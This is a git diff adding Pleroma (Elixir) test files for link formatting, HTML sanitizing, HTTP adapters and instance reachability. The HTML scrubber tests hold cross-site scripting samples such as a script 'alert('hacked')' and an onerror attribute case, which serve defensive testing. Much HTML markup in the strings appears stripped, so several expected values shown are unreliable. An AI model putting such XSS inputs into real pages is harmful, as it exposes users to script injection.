"https://forum.zdoom.org/viewtopic.php?f=44&t=57087" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" + + expected = + "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://www.google.co.jp/search?q=Nasim+Aghdam" + + expected = + "https://www.google.co.jp/search?q=Nasim+Aghdam" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://en.wikipedia.org/wiki/Duff's_device" + + expected = + "https://en.wikipedia.org/wiki/Duff's_device" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://pleroma.com https://pleroma.com/sucks" + + expected = + "https://pleroma.com https://pleroma.com/sucks" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "xmpp:contact@hacktivis.me" + + expected = "xmpp:contact@hacktivis.me" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = + "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com" + + expected = "#{text}" + + assert {^expected, [], []} = Formatter.linkify(text) + end + end + + describe "Formatter.linkify" do + test "correctly finds mentions that contain the domain name" do + _user = insert(:user, %{nickname: "lain"}) + _remote_user = insert(:user, %{nickname: "lain@lain.com", local: false}) + + text = "hey @lain@lain.com what's up" + + {_text, mentions, []} = Formatter.linkify(text) + [{username, user}] = mentions + + assert username == "@lain@lain.com" + assert user.nickname == "lain@lain.com" + end + + test "gives a replacement for user links, using local nicknames in user links text" do + text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me" + gsimg = insert(:user, %{nickname: "gsimg"}) + + archaeme = + insert(:user, + nickname: "archa_eme_", + uri: "https://archeme/@archa_eme_" + ) + + archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + + {text, mentions, []} = Formatter.linkify(text) + + assert length(mentions) == 3 + + expected_text = + ~s(@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme) + + assert expected_text == text + end + + test "gives a replacement for user links when the user is using Osada" do + {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com") + + text = "@mike@osada.macgirvin.com test" + + {text, mentions, []} = Formatter.linkify(text) + + assert length(mentions) == 1 + + expected_text = + ~s(@mike test) + + assert expected_text == text + end + + test "gives a replacement for single-character local nicknames" do + text = "@o hi" + o = insert(:user, %{nickname: "o"}) + + {text, mentions, []} = Formatter.linkify(text) + + assert length(mentions) == 1 + + expected_text = + ~s(@o hi) + + assert expected_text == text + end + + test "does not give a replacement for single-character local nicknames who don't exist" do + text = "@a hi" + + expected_text = "@a hi" + assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text) + end + + test "given the 'safe_mention' option, it will only mention people in the beginning" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}" + {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) + + assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}] + + assert expected_text == + ~s(@#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}) + end + + test "given the 'safe_mention' option, it will still work without any mention" do + text = "A post without any mention" + {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) + + assert mentions == [] + assert expected_text == text + end + + test "given the 'safe_mention' option, it will keep text after newlines" do + user = insert(:user) + text = " @#{user.nickname}\n hey dude\n\nhow are you doing?" + + {expected_text, _, _} = Formatter.linkify(text, safe_mention: true) + + assert expected_text =~ "how are you doing?" + end + + test "it can parse mentions and return the relevant users" do + text = + "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + + o = insert(:user, %{nickname: "o"}) + jimm = insert(:user, %{nickname: "jimm"}) + gsimg = insert(:user, %{nickname: "gsimg"}) + archaeme = insert(:user, %{nickname: "archaeme"}) + archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + + expected_mentions = [ + {"@archaeme", archaeme}, + {"@archaeme@archae.me", archaeme_remote}, + {"@gsimg", gsimg}, + {"@jimm", jimm}, + {"@o", o} + ] + + assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + end + + test "it parses URL containing local mention" do + _user = insert(:user, %{nickname: "lain"}) + + text = "https://example.com/@lain" + + expected = ~S(https://example.com/@lain) + + assert {^expected, [], []} = Formatter.linkify(text) + end + + test "it correctly parses angry face D:< with mention" do + lain = + insert(:user, %{ + nickname: "lain@lain.com", + ap_id: "https://lain.com/users/lain", + id: "9qrWmR0cKniB0YU0TA" + }) + + text = "@lain@lain.com D:<" + + expected_text = + ~S(@lain D:<) + + expected_mentions = [ + {"@lain@lain.com", lain} + ] + + assert {^expected_text, ^expected_mentions, []} = Formatter.linkify(text) + end + end + + describe ".parse_tags" do + test "parses tags in the text" do + text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。" + + expected_tags = [ + {"#Test", "test"}, + {"#working", "working"}, + {"#は", "は"}, + {"#漢字", "漢字"} + ] + + assert {_text, [], ^expected_tags} = Formatter.linkify(text) + end + end + + test "it escapes HTML in plain text" do + text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" + expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" + + assert Formatter.html_escape(text, "text/plain") == expected + end +end diff --git a/test/pleroma/healthcheck_test.exs b/test/pleroma/healthcheck_test.exs new file mode 100644 index 000000000..e341e6983 --- /dev/null +++ b/test/pleroma/healthcheck_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HealthcheckTest do + use Pleroma.DataCase + alias Pleroma.Healthcheck + + test "system_info/0" do + result = Healthcheck.system_info() |> Map.from_struct() + + assert Map.keys(result) == [ + :active, + :healthy, + :idle, + :job_queue_stats, + :memory_used, + :pool_size + ] + end + + describe "check_health/1" do + test "pool size equals active connections" do + result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 10}) + refute result.healthy + end + + test "chech_health/1" do + result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 9}) + assert result.healthy + end + end +end diff --git a/test/pleroma/html_test.exs b/test/pleroma/html_test.exs new file mode 100644 index 000000000..7d3756884 --- /dev/null +++ b/test/pleroma/html_test.exs @@ -0,0 +1,255 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTMLTest do + alias Pleroma.HTML + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + use Pleroma.DataCase + + import Pleroma.Factory + + @html_sample """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ + """ + + @html_onerror_sample """ + + """ + + @html_span_class_sample """ + hi + """ + + @html_span_microformats_sample """ + @foo + """ + + @html_span_invalid_microformats_sample """ + @foo + """ + + describe "StripTags scrubber" do + test "works as expected" do + expected = """ + this is in bold + this is a paragraph + this is a linebreak + this is a link with allowed "rel" attribute: example.com + this is a link with not allowed "rel" attribute: example.com + this is an image: + alert('hacked') + """ + + assert expected == HTML.strip_tags(@html_sample) + end + + test "does not allow attribute-based XSS" do + expected = "\n" + + assert expected == HTML.strip_tags(@html_onerror_sample) + end + end + + describe "TwitterText scrubber" do + test "normalizes HTML as expected" do + expected = """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ alert('hacked') + """ + + assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.TwitterText) + end + + test "does not allow attribute-based XSS" do + expected = """ + + """ + + assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.TwitterText) + end + + test "does not allow spans with invalid classes" do + expected = """ + hi + """ + + assert expected == + HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.TwitterText) + end + + test "does allow microformats" do + expected = """ + @foo + """ + + assert expected == + HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.TwitterText) + end + + test "filters invalid microformats markup" do + expected = """ + @foo + """ + + assert expected == + HTML.filter_tags( + @html_span_invalid_microformats_sample, + Pleroma.HTML.Scrubber.TwitterText + ) + end + end + + describe "default scrubber" do + test "normalizes HTML as expected" do + expected = """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ alert('hacked') + """ + + assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.Default) + end + + test "does not allow attribute-based XSS" do + expected = """ + + """ + + assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.Default) + end + + test "does not allow spans with invalid classes" do + expected = """ + hi + """ + + assert expected == HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.Default) + end + + test "does allow microformats" do + expected = """ + @foo + """ + + assert expected == + HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.Default) + end + + test "filters invalid microformats markup" do + expected = """ + @foo + """ + + assert expected == + HTML.filter_tags( + @html_span_invalid_microformats_sample, + Pleroma.HTML.Scrubber.Default + ) + end + end + + describe "extract_first_external_url_from_object" do + test "extracts the url" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "I think I just found the best github repo https://github.com/komeiji-satori/Dress" + }) + + object = Object.normalize(activity) + {:ok, url} = HTML.extract_first_external_url_from_object(object) + assert url == "https://github.com/komeiji-satori/Dress" + end + + test "skips mentions" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "@#{other_user.nickname} install misskey! https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" + }) + + object = Object.normalize(activity) + {:ok, url} = HTML.extract_first_external_url_from_object(object) + + assert url == "https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" + + refute url == other_user.ap_id + end + + test "skips hashtags" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "#cofe https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" + }) + + object = Object.normalize(activity) + {:ok, url} = HTML.extract_first_external_url_from_object(object) + + assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" + end + + test "skips microformats hashtags" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "#cofe https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140", + content_type: "text/html" + }) + + object = Object.normalize(activity) + {:ok, url} = HTML.extract_first_external_url_from_object(object) + + assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" + end + + test "does not crash when there is an HTML entity in a link" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "\"http://cofe.com/?boomer=ok&foo=bar\""}) + + object = Object.normalize(activity) + + assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) + end + + test "skips attachment links" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "image.png" + }) + + object = Object.normalize(activity) + + assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) + end + end +end diff --git a/test/pleroma/http/adapter_helper/gun_test.exs b/test/pleroma/http/adapter_helper/gun_test.exs new file mode 100644 index 000000000..80589c73d --- /dev/null +++ b/test/pleroma/http/adapter_helper/gun_test.exs @@ -0,0 +1,84 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.AdapterHelper.GunTest do + use ExUnit.Case, async: true + use Pleroma.Tests.Helpers + + import Mox + + alias Pleroma.Config + alias Pleroma.HTTP.AdapterHelper.Gun + + setup :verify_on_exit! + + describe "options/1" do + setup do: clear_config([:http, :adapter], a: 1, b: 2) + + test "https url with default port" do + uri = URI.parse("https://example.com") + + opts = Gun.options([receive_conn: false], uri) + assert opts[:certificates_verification] + end + + test "https ipv4 with default port" do + uri = URI.parse("https://127.0.0.1") + + opts = Gun.options([receive_conn: false], uri) + assert opts[:certificates_verification] + end + + test "https ipv6 with default port" do + uri = URI.parse("https://[2a03:2880:f10c:83:face:b00c:0:25de]") + + opts = Gun.options([receive_conn: false], uri) + assert opts[:certificates_verification] + end + + test "https url with non standart port" do + uri = URI.parse("https://example.com:115") + + opts = Gun.options([receive_conn: false], uri) + + assert opts[:certificates_verification] + end + + test "merges with defaul http adapter config" do + defaults = Gun.options([receive_conn: false], URI.parse("https://example.com")) + assert Keyword.has_key?(defaults, :a) + assert Keyword.has_key?(defaults, :b) + end + + test "parses string proxy host & port" do + proxy = Config.get([:http, :proxy_url]) + Config.put([:http, :proxy_url], "localhost:8123") + on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) + + uri = URI.parse("https://some-domain.com") + opts = Gun.options([receive_conn: false], uri) + assert opts[:proxy] == {'localhost', 8123} + end + + test "parses tuple proxy scheme host and port" do + proxy = Config.get([:http, :proxy_url]) + Config.put([:http, :proxy_url], {:socks, 'localhost', 1234}) + on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) + + uri = URI.parse("https://some-domain.com") + opts = Gun.options([receive_conn: false], uri) + assert opts[:proxy] == {:socks, 'localhost', 1234} + end + + test "passed opts have more weight than defaults" do + proxy = Config.get([:http, :proxy_url]) + Config.put([:http, :proxy_url], {:socks5, 'localhost', 1234}) + on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) + uri = URI.parse("https://some-domain.com") + opts = Gun.options([receive_conn: false, proxy: {'example.com', 4321}], uri) + + assert opts[:proxy] == {'example.com', 4321} + end + end +end diff --git a/test/pleroma/http/adapter_helper/hackney_test.exs b/test/pleroma/http/adapter_helper/hackney_test.exs new file mode 100644 index 000000000..f2361ff0b --- /dev/null +++ b/test/pleroma/http/adapter_helper/hackney_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.AdapterHelper.HackneyTest do + use ExUnit.Case, async: true + use Pleroma.Tests.Helpers + + alias Pleroma.HTTP.AdapterHelper.Hackney + + setup_all do + uri = URI.parse("http://domain.com") + {:ok, uri: uri} + end + + describe "options/2" do + setup do: clear_config([:http, :adapter], a: 1, b: 2) + + test "add proxy and opts from config", %{uri: uri} do + opts = Hackney.options([proxy: "localhost:8123"], uri) + + assert opts[:a] == 1 + assert opts[:b] == 2 + assert opts[:proxy] == "localhost:8123" + end + + test "respect connection opts and no proxy", %{uri: uri} do + opts = Hackney.options([a: 2, b: 1], uri) + + assert opts[:a] == 2 + assert opts[:b] == 1 + refute Keyword.has_key?(opts, :proxy) + end + end +end diff --git a/test/pleroma/http/adapter_helper_test.exs b/test/pleroma/http/adapter_helper_test.exs new file mode 100644 index 000000000..24d501ad5 --- /dev/null +++ b/test/pleroma/http/adapter_helper_test.exs @@ -0,0 +1,28 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.AdapterHelperTest do + use ExUnit.Case, async: true + + alias Pleroma.HTTP.AdapterHelper + + describe "format_proxy/1" do + test "with nil" do + assert AdapterHelper.format_proxy(nil) == nil + end + + test "with string" do + assert AdapterHelper.format_proxy("127.0.0.1:8123") == {{127, 0, 0, 1}, 8123} + end + + test "localhost with port" do + assert AdapterHelper.format_proxy("localhost:8123") == {'localhost', 8123} + end + + test "tuple" do + assert AdapterHelper.format_proxy({:socks4, :localhost, 9050}) == + {:socks4, 'localhost', 9050} + end + end +end diff --git a/test/pleroma/http/request_builder_test.exs b/test/pleroma/http/request_builder_test.exs new file mode 100644 index 000000000..fab909905 --- /dev/null +++ b/test/pleroma/http/request_builder_test.exs @@ -0,0 +1,85 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.RequestBuilderTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + alias Pleroma.HTTP.Request + alias Pleroma.HTTP.RequestBuilder + + describe "headers/2" do + test "don't send pleroma user agent" do + assert RequestBuilder.headers(%Request{}, []) == %Request{headers: []} + end + + test "send pleroma user agent" do + clear_config([:http, :send_user_agent], true) + clear_config([:http, :user_agent], :default) + + assert RequestBuilder.headers(%Request{}, []) == %Request{ + headers: [{"user-agent", Pleroma.Application.user_agent()}] + } + end + + test "send custom user agent" do + clear_config([:http, :send_user_agent], true) + clear_config([:http, :user_agent], "totally-not-pleroma") + + assert RequestBuilder.headers(%Request{}, []) == %Request{ + headers: [{"user-agent", "totally-not-pleroma"}] + } + end + end + + describe "add_param/4" do + test "add file parameter" do + %Request{ + body: %Tesla.Multipart{ + boundary: _, + content_type_params: [], + parts: [ + %Tesla.Multipart.Part{ + body: %File.Stream{ + line_or_bytes: 2048, + modes: [:raw, :read_ahead, :read, :binary], + path: "some-path/filename.png", + raw: true + }, + dispositions: [name: "filename.png", filename: "filename.png"], + headers: [] + } + ] + } + } = RequestBuilder.add_param(%Request{}, :file, "filename.png", "some-path/filename.png") + end + + test "add key to body" do + %{ + body: %Tesla.Multipart{ + boundary: _, + content_type_params: [], + parts: [ + %Tesla.Multipart.Part{ + body: "\"someval\"", + dispositions: [name: "somekey"], + headers: [{"content-type", "application/json"}] + } + ] + } + } = RequestBuilder.add_param(%{}, :body, "somekey", "someval") + end + + test "add form parameter" do + assert RequestBuilder.add_param(%{}, :form, "somename", "someval") == %{ + body: %{"somename" => "someval"} + } + end + + test "add for location" do + assert RequestBuilder.add_param(%{}, :some_location, "somekey", "someval") == %{ + some_location: [{"somekey", "someval"}] + } + end + end +end diff --git a/test/pleroma/http_test.exs b/test/pleroma/http_test.exs new file mode 100644 index 000000000..d394bb942 --- /dev/null +++ b/test/pleroma/http_test.exs @@ -0,0 +1,70 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTPTest do + use ExUnit.Case, async: true + use Pleroma.Tests.Helpers + import Tesla.Mock + alias Pleroma.HTTP + + setup do + mock(fn + %{ + method: :get, + url: "http://example.com/hello", + headers: [{"content-type", "application/json"}] + } -> + json(%{"my" => "data"}) + + %{method: :head, url: "http://example.com/hello"} -> + %Tesla.Env{status: 200, body: ""} + + %{method: :get, url: "http://example.com/hello"} -> + %Tesla.Env{status: 200, body: "hello"} + + %{method: :post, url: "http://example.com/world"} -> + %Tesla.Env{status: 200, body: "world"} + end) + + :ok + end + + describe "head/1" do + test "returns successfully result" do + assert HTTP.head("http://example.com/hello") == {:ok, %Tesla.Env{status: 200, body: ""}} + end + end + + describe "get/1" do + test "returns successfully result" do + assert HTTP.get("http://example.com/hello") == { + :ok, + %Tesla.Env{status: 200, body: "hello"} + } + end + end + + describe "get/2 (with headers)" do + test "returns successfully result for json content-type" do + assert HTTP.get("http://example.com/hello", [{"content-type", "application/json"}]) == + { + :ok, + %Tesla.Env{ + status: 200, + body: "{\"my\":\"data\"}", + headers: [{"content-type", "application/json"}] + } + } + end + end + + describe "post/2" do + test "returns successfully result" do + assert HTTP.post("http://example.com/world", "") == { + :ok, + %Tesla.Env{status: 200, body: "world"} + } + end + end +end diff --git a/test/pleroma/instances/instance_test.exs b/test/pleroma/instances/instance_test.exs new file mode 100644 index 000000000..4f0805100 --- /dev/null +++ b/test/pleroma/instances/instance_test.exs @@ -0,0 +1,152 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Instances.InstanceTest do + alias Pleroma.Instances.Instance + alias Pleroma.Repo + + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + + setup_all do: clear_config([:instance, :federation_reachability_timeout_days], 1) + + describe "set_reachable/1" do + test "clears `unreachable_since` of existing matching Instance record having non-nil `unreachable_since`" do + unreachable_since = NaiveDateTime.to_iso8601(NaiveDateTime.utc_now()) + instance = insert(:instance, unreachable_since: unreachable_since) + + assert {:ok, instance} = Instance.set_reachable(instance.host) + refute instance.unreachable_since + end + + test "keeps nil `unreachable_since` of existing matching Instance record having nil `unreachable_since`" do + instance = insert(:instance, unreachable_since: nil) + + assert {:ok, instance} = Instance.set_reachable(instance.host) + refute instance.unreachable_since + end + + test "does NOT create an Instance record in case of no existing matching record" do + host = "domain.org" + assert nil == Instance.set_reachable(host) + + assert [] = Repo.all(Ecto.Query.from(i in Instance)) + assert Instance.reachable?(host) + end + end + + describe "set_unreachable/1" do + test "creates new record having `unreachable_since` to current time if record does not exist" do + assert {:ok, instance} = Instance.set_unreachable("https://domain.com/path") + + instance = Repo.get(Instance, instance.id) + assert instance.unreachable_since + assert "domain.com" == instance.host + end + + test "sets `unreachable_since` of existing record having nil `unreachable_since`" do + instance = insert(:instance, unreachable_since: nil) + refute instance.unreachable_since + + assert {:ok, _} = Instance.set_unreachable(instance.host) + + instance = Repo.get(Instance, instance.id) + assert instance.unreachable_since + end + + test "does NOT modify `unreachable_since` value of existing record in case it's present" do + instance = + insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) + + assert instance.unreachable_since + initial_value = instance.unreachable_since + + assert {:ok, _} = Instance.set_unreachable(instance.host) + + instance = Repo.get(Instance, instance.id) + assert initial_value == instance.unreachable_since + end + end + + describe "set_unreachable/2" do + test "sets `unreachable_since` value of existing record in case it's newer than supplied value" do + instance = + insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) + + assert instance.unreachable_since + + past_value = NaiveDateTime.add(NaiveDateTime.utc_now(), -100) + assert {:ok, _} = Instance.set_unreachable(instance.host, past_value) + + instance = Repo.get(Instance, instance.id) + assert past_value == instance.unreachable_since + end + + test "does NOT modify `unreachable_since` value of existing record in case it's equal to or older than supplied value" do + instance = + insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) + + assert instance.unreachable_since + initial_value = instance.unreachable_since + + assert {:ok, _} = Instance.set_unreachable(instance.host, NaiveDateTime.utc_now()) + + instance = Repo.get(Instance, instance.id) + assert initial_value == instance.unreachable_since + end + end + + describe "get_or_update_favicon/1" do + test "Scrapes favicon URLs" do + Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[] + } + end) + + assert "https://favicon.example.org/favicon.png" == + Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) + end + + test "Returns nil on too long favicon URLs" do + long_favicon_url = + "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" + + Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: + ~s[] + } + end) + + assert capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://long-favicon.example.org/") + ) + end) =~ + "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" + end + + test "Handles not getting a favicon URL properly" do + Tesla.Mock.mock(fn %{url: "https://no-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[

I wil look down and whisper "GNO.."

] + } + end) + + refute capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://no-favicon.example.org/") + ) + end) =~ "Instance.scrape_favicon(\"https://no-favicon.example.org/\") error: " + end + end +end diff --git a/test/pleroma/instances_test.exs b/test/pleroma/instances_test.exs new file mode 100644 index 000000000..d2618025c --- /dev/null +++ b/test/pleroma/instances_test.exs @@ -0,0 +1,124 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.InstancesTest do + alias Pleroma.Instances + + use Pleroma.DataCase + + setup_all do: clear_config([:instance, :federation_reachability_timeout_days], 1) + + describe "reachable?/1" do + test "returns `true` for host / url with unknown reachability status" do + assert Instances.reachable?("unknown.site") + assert Instances.reachable?("http://unknown.site") + end + + test "returns `false` for host / url marked unreachable for at least `reachability_datetime_threshold()`" do + host = "consistently-unreachable.name" + Instances.set_consistently_unreachable(host) + + refute Instances.reachable?(host) + refute Instances.reachable?("http://#{host}/path") + end + + test "returns `true` for host / url marked unreachable for less than `reachability_datetime_threshold()`" do + url = "http://eventually-unreachable.name/path" + + Instances.set_unreachable(url) + + assert Instances.reachable?(url) + assert Instances.reachable?(URI.parse(url).host) + end + + test "returns true on non-binary input" do + assert Instances.reachable?(nil) + assert Instances.reachable?(1) + end + end + + describe "filter_reachable/1" do + setup do + host = "consistently-unreachable.name" + url1 = "http://eventually-unreachable.com/path" + url2 = "http://domain.com/path" + + Instances.set_consistently_unreachable(host) + Instances.set_unreachable(url1) + + result = Instances.filter_reachable([host, url1, url2, nil]) + %{result: result, url1: url1, url2: url2} + end + + test "returns a map with keys containing 'not marked consistently unreachable' elements of supplied list", + %{result: result, url1: url1, url2: url2} do + assert is_map(result) + assert Enum.sort([url1, url2]) == result |> Map.keys() |> Enum.sort() + end + + test "returns a map with `unreachable_since` values for keys", + %{result: result, url1: url1, url2: url2} do + assert is_map(result) + assert %NaiveDateTime{} = result[url1] + assert is_nil(result[url2]) + end + + test "returns an empty map for empty list or list containing no hosts / url" do + assert %{} == Instances.filter_reachable([]) + assert %{} == Instances.filter_reachable([nil]) + end + end + + describe "set_reachable/1" do + test "sets unreachable url or host reachable" do + host = "domain.com" + Instances.set_consistently_unreachable(host) + refute Instances.reachable?(host) + + Instances.set_reachable(host) + assert Instances.reachable?(host) + end + + test "keeps reachable url or host reachable" do + url = "https://site.name?q=" + assert Instances.reachable?(url) + + Instances.set_reachable(url) + assert Instances.reachable?(url) + end + + test "returns error status on non-binary input" do + assert {:error, _} = Instances.set_reachable(nil) + assert {:error, _} = Instances.set_reachable(1) + end + end + + # Note: implementation-specific (e.g. Instance) details of set_unreachable/1 + # should be tested in implementation-specific tests + describe "set_unreachable/1" do + test "returns error status on non-binary input" do + assert {:error, _} = Instances.set_unreachable(nil) + assert {:error, _} = Instances.set_unreachable(1) + end + end + + describe "set_consistently_unreachable/1" do + test "sets reachable url or host unreachable" do + url = "http://domain.com?q=" + assert Instances.reachable?(url) + + Instances.set_consistently_unreachable(url) + refute Instances.reachable?(url) + end + + test "keeps unreachable url or host unreachable" do + host = "site.name" + Instances.set_consistently_unreachable(host) + refute Instances.reachable?(host) + + Instances.set_consistently_unreachable(host) + refute Instances.reachable?(host) + end + end +end diff --git a/test/pleroma/integration/federation_test.exs b/test/pleroma/integration/federation_test.exs new file mode 100644 index 000000000..10d71fb88 --- /dev/null +++ b/test/pleroma/integration/federation_test.exs @@ -0,0 +1,47 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Integration.FederationTest do + use Pleroma.DataCase + @moduletag :federated + import Pleroma.Cluster + + setup_all do + Pleroma.Cluster.spawn_default_cluster() + :ok + end + + @federated1 :"federated1@127.0.0.1" + describe "federated cluster primitives" do + test "within/2 captures local bindings and executes block on remote node" do + captured_binding = :captured + + result = + within @federated1 do + user = Pleroma.Factory.insert(:user) + {captured_binding, node(), user} + end + + assert {:captured, @federated1, user} = result + refute Pleroma.User.get_by_id(user.id) + assert user.id == within(@federated1, do: Pleroma.User.get_by_id(user.id)).id + end + + test "runs webserver on customized port" do + {nickname, url, url_404} = + within @federated1 do + import Pleroma.Web.Router.Helpers + user = Pleroma.Factory.insert(:user) + user_url = account_url(Pleroma.Web.Endpoint, :show, user) + url_404 = account_url(Pleroma.Web.Endpoint, :show, "not-exists") + + {user.nickname, user_url, url_404} + end + + assert {:ok, {{_, 200, _}, _headers, body}} = :httpc.request(~c"#{url}") + assert %{"acct" => ^nickname} = Jason.decode!(body) + assert {:ok, {{_, 404, _}, _headers, _body}} = :httpc.request(~c"#{url_404}") + end + end +end diff --git a/test/pleroma/integration/mastodon_websocket_test.exs b/test/pleroma/integration/mastodon_websocket_test.exs new file mode 100644 index 000000000..0f2e6cc2b --- /dev/null +++ b/test/pleroma/integration/mastodon_websocket_test.exs @@ -0,0 +1,128 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Integration.MastodonWebsocketTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + + alias Pleroma.Integration.WebsocketClient + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OAuth + + @moduletag needs_streamer: true, capture_log: true + + 